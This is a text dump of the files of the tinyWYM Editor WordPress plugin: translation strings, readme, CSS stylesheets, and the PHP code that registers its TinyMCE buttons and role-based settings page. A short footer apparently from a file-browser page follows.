translations.php:21 msgid "Wrap selection or element in any HTML tag" msgstr "" #: translations.php:22 msgid "Toggle tinyWYM" msgstr "" #: twym-admin-settings.php:19 twym-admin-settings.php:50 msgid "tinyWYM Editor Settings" msgstr "" #. Plugin Name of the plugin/theme #: twym-admin-settings.php:20 msgid "tinyWYM Editor" msgstr "" #: twym-admin-settings.php:41 msgid "administrator" msgstr "" #: twym-admin-settings.php:42 msgid "editor" msgstr "" #: twym-admin-settings.php:43 msgid "author" msgstr "" #: twym-admin-settings.php:44 msgid "contributor" msgstr "" #: twym-admin-settings.php:67 #, php-format msgid "%s Settings" msgstr "" #: twym-admin-settings.php:71 #, php-format msgid "Disable for %ss" msgstr "" #: twym-admin-settings.php:79 msgid "Compatibility" msgstr "" #: twym-admin-settings.php:81 msgid "" "Some plugins, such as Beaver Builder, disable other editor plugins when " "using custom instances of the WordPress editor. Check the box below if " "tinyWYM Editor appears to be disabled in some editor instances." msgstr "" #: twym-admin-settings.php:85 msgid "Force enable tinyWYM Editor" msgstr "" #: twym-admin-settings.php:91 msgid "Theme Editor Styles" msgstr "" #: twym-admin-settings.php:93 msgid "" "Many themes include their own editor stylesheet which may cause conflicts " "with tinyWYM Editor's own stylesheet. If you would like to allow your " "theme's editor stylesheet to load anyway, check the box below." msgstr "" #: twym-admin-settings.php:97 msgid "Allow theme editor styles" msgstr "" #: twym-admin-settings.php:103 msgid "Hide tinyWYM by Default" msgstr "" #: twym-admin-settings.php:105 msgid "" "Check the box below if you would like tinyWYM editor to be hidden by default " "when creating or editing a page or post." msgstr "" #: twym-admin-settings.php:109 msgid "Hide tinyWYM by default" msgstr "" #: twym-admin-settings.php:117 msgid "Save Settings" msgstr "" #. Description of the plugin/theme msgid "" "tinyWYM Editor converts WordPress's WYSIWYG visual editor into a WYSIWYM " "editor. tinyWYM Editor also give the the control anf flexibility of the text " "editor without having to leave the visual editor." msgstr "" #. Author of the plugin/theme msgid "Andrew Rickards" msgstr "" translations.php 0000644 00000001714 15054056277 0010014 0 ustar 00 <?php if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( '_WP_Editors' ) ) { require( ABSPATH . WPINC . '/class-wp-editor.php' ); } function twym_translation() { $strings = array( 'title_edit_modal' => __( 'Edit element', 'twym_editor' ), 'title_create_modal' => __( 'Create tag', 'twym_editor' ), 'label_tag' => __( 'Tag', 'twym_editor' ), 'label_attributes' => __( 'Attributes', 'twym_editor' ), 'modal_cancel' => __( 'Cancel', 'twym_editor' ), 'modal_submit' => __( 'Submit', 'twym_editor' ), 'alert_no_tag' => __( 'Tag is required', 'twym_editor' ), 'tooltip_button' => __( 'Wrap selection or element in any HTML tag', 'twym_editor' ), 'tooltip_toggle' => __( 'Toggle tinyWYM', 'twym_editor' ), ); $locale = _WP_Editors::$mce_locale; $translated = 'tinyMCE.addI18n("' . $locale . '.twym_editor", ' . json_encode( $strings ) . ");\n"; return $translated; } $strings = twym_translation(); readme.txt 0000644 00000017502 15054056277 0006562 0 ustar 00 === tinyWYM Editor === Contributors: arickards Tags: tinyMCE, WYSIWYM, WYSIWYG, WP Editor, visual editor, editor, tinywym Requires at least: 4.2.0 Tested up to: 4.9.4 Stable tag: 1.4.1 License: GPLv2 or later License URI: http://www.gnu.org/licenses/gpl-2.0.html Convert WordPress's WYSIWYG editor into a WYSIWYM editor. Add and edit any HTML tag and attribute from the visual editor. == Description == tinyWYM Editor was created to help inexperienced WordPress users create cleaner, more semantic markup, and to avoid some of the pitfalls of WordPress's standard WYSIWYG editor. It does this by labelling and highlighting all HTML elements in the editor, creating a visual representation of the HTML being generated. tinyWYM Editor also gives more experience users all the control and flexibility of the text editor without having to leave the visual editor. Create and edit any HTML element, add attributes, and wrap or unwrap elements all from the visual editor. See the [Screenshots](https://wordpress.org/plugins/tinywym-editor/screenshots/ "Screenshots") and [FAQ](https://wordpress.org/plugins/tinywym-editor/faq/ "Frequently Asked Questions") sections for details on how to use tinyWYM Editor. == Installation == There are two options for installing and setting up this plugin. = Upload Manually = 1. Download and unzip the plugin 2. Upload the 'tinyWYM-editor' folder into the '/wp-content/plugins/' directory 3. Go to the Plugins admin page and activate the plugin = Install Via Admin Area = 1. In the admin area go to Plugins > Add New and search for "tinyWYM Editor" 2. Click install and then click activate == Frequently Asked Questions == = How do I create an HTML element from a selection? = To create a new element from a selection first select some text. tinyWYM Editor plugin adds a new button to the toolbar. Click it and a dialogue will appear with a field for your new tag and any attributes you want to give it. Enter your new HTML tag and any desired attributes, then click the 'Okay' button. (You can also hit Ctrl+T instead of clicking the button to open the dialogue.) = How do I wrap one HTML element in another HTML element? = To wrap an element in another element, place the caret inside the element that you want to wrap. tinyWYM Editor plugin adds a new button to the toolbar. Click it and a dialogue will appear with a field for your new tag and any attributes you want to give it. Enter your new HTML tag and any desired attributes, then click the 'Okay' button. (You can also hit Ctrl+T instead of clicking the button to open the dialogue.) = How do I edit or add attributes to an HTML element? = Click any element while holding the Alt key and a dialogue will appear where you can edit the current HTML tag and any attributes it might have or you want to give it. Enter your new HTML tag and any desired attributes, then click the 'Okay' button. = How do I unwrap an HTML element from its parent element or remove text from its containing element? = Click any element while holding the Shift+Alt and that element will be removed from the markup preserving any inner text or child elements. = Why does tinyWYM Editor remove my theme's editor styles? = tinyWYM Editor removes the current theme's editor stylesheet by default, however, you can enable your theme's editor stylesheet by going to Settings - tinyWYM Editor and checking 'Allow theme editor styles'. tinyWYM Editor removes other editor styles partly in order to prevent conflicts, but also because it is assumed that if you are using tinyWYM editor it is because you want to see the _markup_ being posted to the front end of the site and not what it will eventually look like. After all, that is what the plugin is for. = Can I disable tinyWYM Editor for certain users? = tinyWYM Editor allows administrators to disable tinyWYM for particular user roles; Administrators, Editors, Authors, or Contributors. Go to Settings - tinyWYM Editor. = How do I toggle the tinyWYM styles on and off? = tinyWYM Editor adds a button to the editor toolbar. Click it to toggle tinyWYM styles on and off. You and also use the keyboard shortcut ctrl+W. = How do I hide tinyWYM by default when creating or editing a page or post? = tinyWYM Editor can be hidden by default when creating or editing a page or post in the tinyWYM setting page. Just go to Settings - tinyWYM Editor. == Screenshots == 1. Wordpress editor without tinyWYM installed: Everything looks okay, but… 2. With tinyWYM installed: empty tags and superfluous markup revealed. 3. tinyWYM Editor converts WordPress's WYSIWYG editor into a WYSIWYM editor. 4. Create any HTML tag from selection: Select text then click the button or hit Ctrl+T. 5. Wrap the current element in a new HTML element: Place caret in element you want to wrap, then click the button or hit Ctrl+T. 6. Wrap multiple elements in a new HTML element: Select elements you want to wrap, then click the button or hit Ctrl+T. 7. Enter the new HTML tag name and any attributes you want it to have, then click 'Okay'. 8. Elements are now wrapped in a new tag. 9. Edit any element: Alt+Click any element then edit its tag and attributes. 10. Toggle tinyWYM on and off with the button or ctrl+W. == Changelog == = 1.4 = * Minor CSS fixes. * Added new semantic HTML tags. * Added option to hide tinyWYM by default. = 1.3 = * Fixed bug making header tags overlap images with captions. * Changed attributes input to textarea and widened modal window. = 1.2.6 = * Fix bug with various embeds not always showing. = 1.2.5 = * Quick update for WordPress 4.6 compatability. = 1.2.4 = * Quick update for WordPress 4.5 compatability. = 1.2.3 = * Fixed: CSS bug causing video embeds to not show in some situations. = 1.2.2 = * Added keyboard shortcut (ctrl+W) for toggling tinyWYM styles on and off. * Update readme.text. * Update screenshots, banners and thumbnails. = 1.2.1 = * Fixed: Toggle button not showing in BeaverBuilder's front end editor. = 1.2 = * Added new menu button to allow users to toggle tinyWYM styles on and off. = 1.1.1 = * Fix compatibility issue with older versions of PHP. = 1.1 = * Added new settings page * Added option for admins to disable tinyWYM for Administrators, Editors, Authors, or Contributors. * Added option to re-enable the current theme's editor styles. * Added option to increase tinyWYM priority when loading scripts. (This was mainly to allow tinyWYM to work with BeaverBuilder's front end editor.) = 1.0.2 = * CSS improvements * Increase script loading priority to allow for use with BeaverBuilder = 1.0.1 = * Update readme.txt & banner images for WordPress.org page = 1.0 = * Initial release == Upgrade Notice == = 1.4 = * This update includes some minor CSS fixes, adds new semantic HTML tags, and an option to hide tinyWYM by default. = 1.3 = * This update fixes a CSS bug and improves the usability of the modal pop-up for editing tags. = 1.2.6 = * This update fixes a bug that made video and other embeds not always show. = 1.2.5 = * Quick update for WordPress 4.6 compatability. = 1.2.4 = * Quick update for WordPress 4.5 compatability, plus new thumbnail and banner images. = 1.2.3 = * When embedding videos from YouTube/Vimeo etc. the video wouldn't show until you hit return or clicked in another paragraph. The video might also disapear in certain situations. Fixed now. = 1.2.2 = * Added keyboard shortcut (ctrl+W) for toggling tinyWYM styles on and off. = 1.2.1 = * Fixed: Toggle button not showing in BeaverBuilder's front end editor. * May need to clear browser's cache to see changes. = 1.2 = * Added new menu button to allow users to toggle tinyWYM styles on and off. = 1.1 = * Fix compatibility issue with older versions of PHP. = 1.1 = * Added new setting page: Setting - tinyWYM Editor = 1.0.2 = * Improved CSS for images inside editor, plus tinyWYM is now works with BeaverBuilder = 1.0 = * This is the first version of the plugin. No updates available yet. css/modal-styles.css 0000644 00000002622 15054056277 0010500 0 ustar 00 /** * Styles the tinyMCE modal form more like WordPress's standard editor modals */ /* Form container */ .mce-container.mce-wym { border-radius: 0; } .mce-container.mce-wym .mce-foot { background: #FCFCFC; border-top: 1px solid #DFDFDF; } /* Cancel button */ .mce-container.mce-wym .mce-cancel { left: 20px !important; } .mce-container.mce-wym .mce-cancel button { color: #A00; font-size: 13px; } .mce-container.mce-wym .mce-cancel button:hover { color: #F00; } /* Submit button */ .mce-container.mce-wym .mce-btn.mce-submit, .mce-container.mce-wym .mce-btn.mce-submit:hover { border: none; } .mce-container.mce-wym .mce-btn.mce-submit button { background: #00A0D2; border: 1px solid #0073AA; border-radius: 3px; -webkit-box-shadow: inset 0 1px 0 rgba(120, 200, 230, 0.5), 0 1px 0 rgba(0, 0, 0, 0.15); box-shadow: inset 0 1px 0 rgba(120, 200, 230, 0.5), 0 1px 0 rgba(0, 0, 0, 0.15); color: #FFF; font-size: 13px; padding: 0 10px; } .mce-container.mce-wym .mce-btn.mce-submit button:hover { background: #0091CD; } /** * tinyWYM toggle button styles */ i.mce-i-twym-show, i.mce-i-twym-hide { font: normal 20px/1 'dashicons'; padding: 0; vertical-align: top; speak: none; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; margin-left: -2px; padding-right: 2px; } i.mce-i-twym-show:before { content: "\f177"; } i.mce-i-twym-hide:before { content: "\f530"; } css/tinywym-styles.css 0000644 00000017620 15054056277 0011130 0 ustar 00 /** * Adds labels and styles to highlight all common elements in the editor. */ /* Base Editor Styles ==================================================== */ .tiny-wym body { background: #f4f4f4; font-size: 16px; } .tiny-wym div { -moz-box-sizing: border-box; box-sizing: border-box; } .tiny-wym img { max-width: 100%; height: auto; } /* Block Element Labels ==================================================== */ .tiny-wym p::before, .tiny-wym h1::before, .tiny-wym h2::before, .tiny-wym h3::before, .tiny-wym h4::before, .tiny-wym h5::before, .tiny-wym h6::before, .tiny-wym blockquote::before, .tiny-wym dl::before, .tiny-wym ol::before, .tiny-wym ul::before, .tiny-wym pre::before, .tiny-wym address::before, .tiny-wym div::before, .tiny-wym table::before, .tiny-wym section::before, .tiny-wym article::before, .tiny-wym header::before, .tiny-wym nav::before, .tiny-wym aside::before, .tiny-wym footer::before { background: #444; color: #fff; font-size: 12px; font-family: Arial, Helvetica Neue, Helvetica, sans-serif; font-weight: bold; font-style: normal; line-height: 1.3; padding: 2px; position: absolute; top: 0px; left: 0px; } .tiny-wym p::before { content: "<p>"; } .tiny-wym h1::before { content: "<h1>"; } .tiny-wym h2::before { content: "<h2>"; } .tiny-wym h3::before { content: "<h3>"; } .tiny-wym h4::before { content: "<h4>"; } .tiny-wym h5::before { content: "<h5>"; } .tiny-wym h6::before { content: "<h6>"; } .tiny-wym blockquote::before { content: "<blockquote>"; } .tiny-wym dl::before { content: "<dl>"; } .tiny-wym ol::before { content: "<ol>"; } .tiny-wym ul::before { content: "<ul>"; } .tiny-wym pre::before { content: "<pre>"; } .tiny-wym address::before { content: "<address>"; } .tiny-wym div::before { content: "<div>"; top: 3px; left: 3px; } .tiny-wym table::before { content: "<table>"; } .tiny-wym section::before { content: "<section>"; top: 3px; left: 3px; } .tiny-wym article::before { content: "<article>"; top: 3px; left: 3px; } .tiny-wym header::before { content: "<header>"; top: 3px; left: 3px; } .tiny-wym nav::before { content: "<nav>"; top: 3px; left: 3px; } .tiny-wym aside::before { content: "<aside>"; top: 3px; left: 3px; } .tiny-wym footer::before { content: "<footer>"; top: 3px; left: 3px; } /* Block Element Styles ==================================================== */ .tiny-wym p, .tiny-wym h1, .tiny-wym h2, .tiny-wym h3, .tiny-wym h4, .tiny-wym h5, .tiny-wym h6, .tiny-wym blockquote, .tiny-wym dl, .tiny-wym ol, .tiny-wym ul, .tiny-wym pre, .tiny-wym address, .tiny-wym div, .tiny-wym table, .tiny-wym section, .tiny-wym article, .tiny-wym header, .tiny-wym nav, .tiny-wym aside, .tiny-wym footer { background: #fff; border: 1px solid #DDD; margin: 15px 0; overflow: hidden; padding: 24px 6px 3px; position: relative; } /* Individual Block Element Styles */ .tiny-wym div, .tiny-wym section, .tiny-wym article, .tiny-wym header, .tiny-wym nav, .tiny-wym aside, .tiny-wym footer { background: transparent; border: 3px dashed #BBB; margin-bottom: 15px; padding: 24px 6px 3px; overflow: hidden; } .tiny-wym p { line-height: 2; } .tiny-wym blockquote p { margin-top: 5px; } .tiny-wym ol, .tiny-wym ul { list-style-position: inside; margin: 3px 0; padding-left: 30px; } .tiny-wym li { margin: 3px 0; } .tiny-wym table { border-collapse: initial; } .tiny-wym dd, .tiny-wym dt { border: 1px solid #DDD; margin-bottom: 4px; padding: 2px 10px; } .tiny-wym hr { background: #AAA; border: none; padding: 4px; } /* Inline Element Styles ==================================================== */ .tiny-wym strong, .tiny-wym b, .tiny-wym em, .tiny-wym i, .tiny-wym a, .tiny-wym span, .tiny-wym del, .tiny-wym code, .tiny-wym ins, .tiny-wym kbd, .tiny-wym q, .tiny-wym abbr, .tiny-wym acronym, .tiny-wym big, .tiny-wym cite, .tiny-wym strike, .tiny-wym s, .tiny-wym sub, .tiny-wym sup, .tiny-wym tt, .tiny-wym var, .tiny-wym u, .tiny-wym small { background: #FAFAFA; border: 2px dotted #C4C4C4; padding: 1px 5px; } /* Individual Inline Element Styles */ .tiny-wym td { padding: 5px; } /* Style Fixes for Wordpress Things ==================================================== */ /* Gallery and Other Embeds ======================== */ /* Remove unnecessary margins inside gallery and embeds div */ .tiny-wym div.wpview-wrap div { border: none; margin: 0; padding: 0; } /* Undo lableling */ .tiny-wym div.wpview-wrap::before, .tiny-wym div.wpview-wrap *::before { content: ""; display: none; } /* Leave a little padding */ .tiny-wym div.wpview-wrap { padding: 10px; } /* Undo tiny-wym styling of dl inside gallery */ .tiny-wym div.wpview-wrap dl { background: transparent; border: none; padding-top: 6px; } .tiny-wym .gallery dt, .tiny-wym .gallery dd { border-color: #CCC; } /* Hide WP's empty paragraphs at begining and end of gallery/videos */ .tiny-wym p.wpview-selection-before, .tiny-wym p.wpview-selection-after { display: none; } /* Unstyle spans on video embeds */ .tiny-wym span.mce-shim, .tiny-wym span.wpview-end { background: transparent; border: none; padding: 0; } /* Images & Captions =============================== */ .tiny-wym img { margin: 5px 0; } .tiny-wym img.alignleft { margin-right: 10px; } .tiny-wym img.alignright { margin-left: 10px; } .tiny-wym img.aligncenter { margin-left: auto; margin-right: auto; } /* Remove margin for images inside links */ .tiny-wym a > img, .tiny-wym a > img.alignleft, .tiny-wym a > img.alignright { margin: 0; } /* Undo labeling for tinyMCE and WP things */ .tiny-wym .mce-resizehandle::before, .tiny-wym div.mceTemp::before, .tiny-wym dl.wp-caption::before { content: ""; display: none; } .tiny-wym .mce-resizehandle { -moz-box-sizing: content-box; box-sizing: content-box; } /* Undo tinyWYM styles for mceTemp divs */ .tiny-wym div.mceTemp { border: none; margin: 0; padding: 0; overflow: visible; } /* Keep tinyWYM styles for captions */ .tiny-wym .wp-caption { background: #fff; border-color: #F4F4F4; box-shadow: 1px 1px #DDD inset, -1px -1px #DDD inset; -moz-box-sizing: border-box; box-sizing: border-box; margin: 0 0 5px; max-width: 100%; padding: 5px; } /* Caption image alignment */ .tiny-wym .wp-caption.alignleft { border-right: 10px solid #F4F4F4; margin-right: 0; } .tiny-wym .wp-caption.alignright { border-left: 10px solid #F4F4F4; margin-left: 0; } .tiny-wym .wp-caption.aligncenter { margin: 0 auto; } /* Keep space between image and caption */ .tiny-wym .wp-caption-dt { border: 0; padding: 0; } /* Hide bogus break in caption image link on Firefox */ .wp-caption-dt br { display: none; } /* Styles for actual caption */ .tiny-wym .wp-caption-dd { border: 0; margin: 0; padding: 2px 5px; } /* Style images and links around images inside captions */ .tiny-wym .wp-caption-dt a { display: block; margin: 0; padding: 3px; } .tiny-wym .wp-caption-dt img { display: block; margin: 0; height: auto; width: 100%; } /* Alignment etc. for images inside links */ .tiny-wym a[data-wym-align] { display: block; padding: 4px; text-decoration: none; } .tiny-wym a[data-wym-align] img { display: block; } .tiny-wym a[data-wym-align="alignleft"] { float: left; margin-right: 10px; } .tiny-wym a[data-wym-align="alignright"] { float: right; margin-left: 10px; } .tiny-wym a[data-wym-align="aligncenter"] { float: none; } .tiny-wym a[data-wym-align="aligncenter"] img { margin: 0 auto; } .tiny-wym a[data-wym-align="alignnone"] { display: inline-block; } /* Fix or Adjust tinyMCE Default Sytles */ .tiny-wym #_mce_caret { background: transparent; border: none; padding: 0; } .tiny-wym .mce-resize-helper { padding-top: 4px; } .tiny-wym .mce-resize-helper:before { content: ""; display: none; } /* Aligns image/caption with first heading or paragraph when image/caption is first element in editor body */ .tiny-wym .mce-content-body :first-child { margin-top: 0; } .tiny-wym .mce-content-body .mceTemp:first-child { margin-top: 15px; } tinywym-editor.php 0000644 00000013015 15054056277 0010274 0 ustar 00 <?php /* Plugin Name: tinyWYM Editor Description: tinyWYM Editor converts WordPress's WYSIWYG visual editor into a WYSIWYM editor. tinyWYM Editor also give the the control anf flexibility of the text editor without having to leave the visual editor. Version: 1.4.1 Author: Andrew Rickards License: GPL-2.0+ License URI: http://www.gnu.org/licenses/gpl-2.0.txt Text Domain: twym_editor Domain Path: /languages tinyWYM is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 2 of the License, or any later version. tinyWYM is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with tinyWYM. If not, see http://www.gnu.org/licenses/gpl-2.0.txt. */ //* If this file is called directly, abort ==================================== */ if ( ! defined( 'ABSPATH' ) ) { exit; } //* Load Plugin textdomain ==================================================== */ add_action( 'plugins_loaded', 'twym_load_textdomain' ); function twym_load_textdomain() { load_plugin_textdomain( 'twym_editor', false, '/tinywym-editor/languages/' ); } //* Admin Settings ============================================================ */ include 'twym-admin-settings.php'; //* Plugins Page Settings Link add_filter( 'plugin_action_links_' . plugin_basename(__FILE__), 'twym_settings_link' ); function twym_settings_link ( $links ) { $links[] = '<a href="' . admin_url( 'options-general.php?page=tinywym-settings' ) . '">' . __( 'Settings', 'twym_editor' ) . '</a>'; return $links; } //* Remove Theme's Editor Stylesheet ========================================== */ add_action( 'admin_init', 'twym_remove_editor_styles', 999 ); function twym_remove_editor_styles() { $settings = get_option( 'twym_settings' ); $theme_styles = isset( $settings[ 'theme_styles' ] ) ? '1' : false; if ( '1' === $theme_styles ) { return; } remove_editor_styles(); } //* Add Editor Stylesheet ===================================================== */ add_filter( 'mce_css', 'twym_add_editor_styles' ); function twym_add_editor_styles( $mce_css ) { if ( ! empty( $mce_css ) ) { $mce_css .= ','; } $mce_css .= plugins_url( 'css/tinywym-styles.css', __FILE__ ); return $mce_css; } //* Register tinyMCE Plugin & Button ========================================== */ add_action( 'init', 'twym_register_mce_plugin' ); function twym_register_mce_plugin() { // Get tinyWYM Settings $settings = get_option( 'twym_settings' ); $disabled = isset( $settings[ 'disable' ] ) ? $settings[ 'disable' ] : array(); $priority = isset( $settings[ 'force_enable' ] ) ? 99999999 : 10; // Extract user roles disabled in settings extract( $disabled ); // Define user capabilities $admin_capabilities = current_user_can( 'manage_options' ); $editor_capabilities = current_user_can( 'edit_pages' ) && ! current_user_can( 'manage_options' ) ? true : false; $author_capabilities = current_user_can( 'edit_published_posts' ) && ! current_user_can( 'edit_pages' ) ? true : false; $contributor_capabilities = current_user_can( 'edit_posts' ) && ! current_user_can( 'edit_published_posts' ) ? true : false; // Disable editor for various various user roles if ( isset( $administrator ) && $admin_capabilities ) { return; } if ( isset( $editor ) && $editor_capabilities ) { return; } if ( isset( $author ) && $author_capabilities ) { return; } if ( isset( $contributor ) && $contributor_capabilities ) { return; } // Check user permissions if ( !current_user_can('edit_posts') && !current_user_can('edit_pages') ) { return; } // Check if WYSIWYG is enabled if ( get_user_option('rich_editing') == 'true') { add_filter( 'mce_external_plugins', 'twym_add_mce_plugin', $priority ); add_filter( 'mce_buttons', 'twym_register_mce_button', $priority ); // Admin Styles for Modal Form add_action( 'admin_enqueue_scripts', 'twym_enqueue_admin_style' ); // Load styles in BeaverBuilder's frontend editor if ( get_query_var( 'fl_builder', true ) ) { add_action( 'wp_enqueue_scripts', 'twym_enqueue_admin_style' ); } } // Tranlations add_filter( 'mce_external_languages', 'twym_load_translation'); } //* Register tinyMCE Plugin. If hidden by default in settings, register hidden script function twym_add_mce_plugin( $plugin_array ) { $settings = get_option( 'twym_settings' ); $plugin_array['tinyWYM'] = plugins_url( 'js/mce-plugin.js', __FILE__ ); if ( isset( $settings[ 'default_hidden' ] ) ) { $plugin_array['tinyWYM_hidden'] = plugins_url( 'js/tinywym-hidden.js', __FILE__ ); } return $plugin_array; } //* Register Button function twym_register_mce_button( $buttons ) { array_push( $buttons, 'twym_any_tag' ); array_push( $buttons, 'twym_toggle' ); return $buttons; } //* Enqueue Admin Styles for Modal Form ======================================= */ function twym_enqueue_admin_style() { wp_register_style( 'twym_admin_css', plugins_url( 'css/modal-styles.css', __FILE__ ), false, '1.0.0' ); wp_enqueue_style( 'twym_admin_css' ); } //* Load Translation File ===================================================== */ function twym_load_translation( $locales ) { $locales[ 'twym_editor' ] = plugin_dir_path ( __FILE__ ) . 'translations.php'; return $locales; } twym-admin-settings.php 0000644 00000011341 15054056277 0011214 0 ustar 00 <?php /** * Admin Settings Page * * @since 1.1 */ //* If this file is called directly, abort ==================================== */ if ( ! defined( 'ABSPATH' ) ) { exit; } //* Register Admin Page add_action( 'admin_menu', 'twym_add_options_page' ); function twym_add_options_page() { add_options_page( __( 'tinyWYM Editor Settings' ), __( 'tinyWYM Editor' ), 'manage_options', 'tinywym-settings', 'twym_settings_form' ); add_action( 'admin_init', 'twym_register_settings' ); } function twym_register_settings() { register_setting( 'twym_settings_group', 'twym_settings', 'twym_sanitize_settings' ); } function twym_settings_form() { $settings = get_option( 'twym_settings' ); $user_roles = array( __( 'administrator', 'twym_editor' ), __( 'editor', 'twym_editor' ), __( 'author', 'twym_editor' ), __( 'contributor', 'twym_editor' ), ); ?> <div class="wrap"> <h2><?php _e( 'tinyWYM Editor Settings', 'twym_editor' ); ?></h2> <form method="post" action="options.php"> <?php settings_fields( 'twym_settings_group' ); ?> <?php $twym_settings = get_option( 'twym_settings' ); ?> <table class="form-table"> <?php foreach ( $user_roles as $role ) : ?> <?php $checked_disabled = isset( $settings[ 'disable' ][ $role ] ) ? checked( $settings[ 'disable' ][ $role ], '1', false ) : ''; $checked_force = isset( $settings[ 'force_enable' ] ) ? checked( $settings[ 'force_enable' ], '1', false ) : ''; $checked_theme = isset( $settings[ 'theme_styles' ] ) ? checked( $settings[ 'theme_styles' ], '1', false ) : ''; $checked_hidden = isset( $settings[ 'default_hidden' ] ) ? checked( $settings[ 'default_hidden' ], '1', false ) : ''; ?> <tr valign="top"> <th scope="row"><?php printf( __( '%s Settings', 'twym_editor' ), ucwords( $role ) ); ?></th> <td> <p> <input id="disable-<?php echo $role ?>" type="checkbox" name="twym_settings[disable][<?php echo $role ?>]" value="1" <?php echo $checked_disabled ?>> <label for="disable-<?php echo $role ?>"><?php printf( __( 'Disable for %ss', 'twym_editor' ), ucwords( $role ) ); ?></label><br> </p> </td> </tr> <?php endforeach; ?> <tr valign="top"> <th scope="row"><?php _e( 'Compatibility', 'twym_editor' ); ?></th> <td> <p><?php _e( 'Some plugins, such as Beaver Builder, disable other editor plugins when using custom instances of the WordPress editor. Check the box below if tinyWYM Editor appears to be disabled in some editor instances.', 'twym_editor' ); ?> </p> <p> <input id="force-enable" type="checkbox" name="twym_settings[force_enable]" value="1" <?php echo $checked_force; ?>> <label for="force-enable"><?php _e( 'Force enable tinyWYM Editor', 'twym_editor' ); ?></label> </p> </td> </tr> <tr valign="top"> <th scope="row"><?php _e( 'Theme Editor Styles', 'twym_editor' ); ?></th> <td> <p><?php _e( 'Many themes include their own editor stylesheet which may cause conflicts with tinyWYM Editor\'s own stylesheet. If you would like to allow your theme\'s editor stylesheet to load anyway, check the box below.', 'twym_editor' ); ?> </p> <p> <input id="theme-styles" type="checkbox" name="twym_settings[theme_styles]" value="1" <?php echo $checked_theme; ?>> <label for="theme-styles"><?php _e( 'Allow theme editor styles', 'twym_editor' ); ?></label> </p> </td> </tr> <tr valign="top"> <th scope="row"><?php _e( 'Hide tinyWYM by Default', 'twym_editor' ); ?></th> <td> <p><?php _e( 'Check the box below if you would like tinyWYM editor to be hidden by default when creating or editing a page or post.', 'twym_editor' ); ?> </p> <p> <input id="default-hidden" type="checkbox" name="twym_settings[default_hidden]" value="1" <?php echo $checked_hidden; ?>> <label for="theme-styles"><?php _e( 'Hide tinyWYM by default', 'twym_editor' ); ?></label> </p> </td> </tr> </table> <p class="submit"> <input type="submit" class="button button-primary" value="<?php _e( 'Save Settings', 'twym_editor' ); ?>" /> </p> </form> </div> <?php } function twym_sanitize_settings( $input ) { // Loop through settings and set to 1 if anything is sent if ( is_array( $input ) ) { foreach ( $input as $setting => $value ) { // Check if user role disable setting group if ( is_array( $input[$setting] ) ) { foreach ( $input[$setting] as $user => $disable ) { if ( $user ) { $input[$setting][$user] = 1; } } } else { // Sanitise other settings if ( $input[$setting] ) { $input[$setting] = 1; } } } } return $input; }
| ver. 1.6 |
Github
|
.
| PHP 8.3.23 | Generation time: 0 |
proxy
|
phpinfo
|
Settings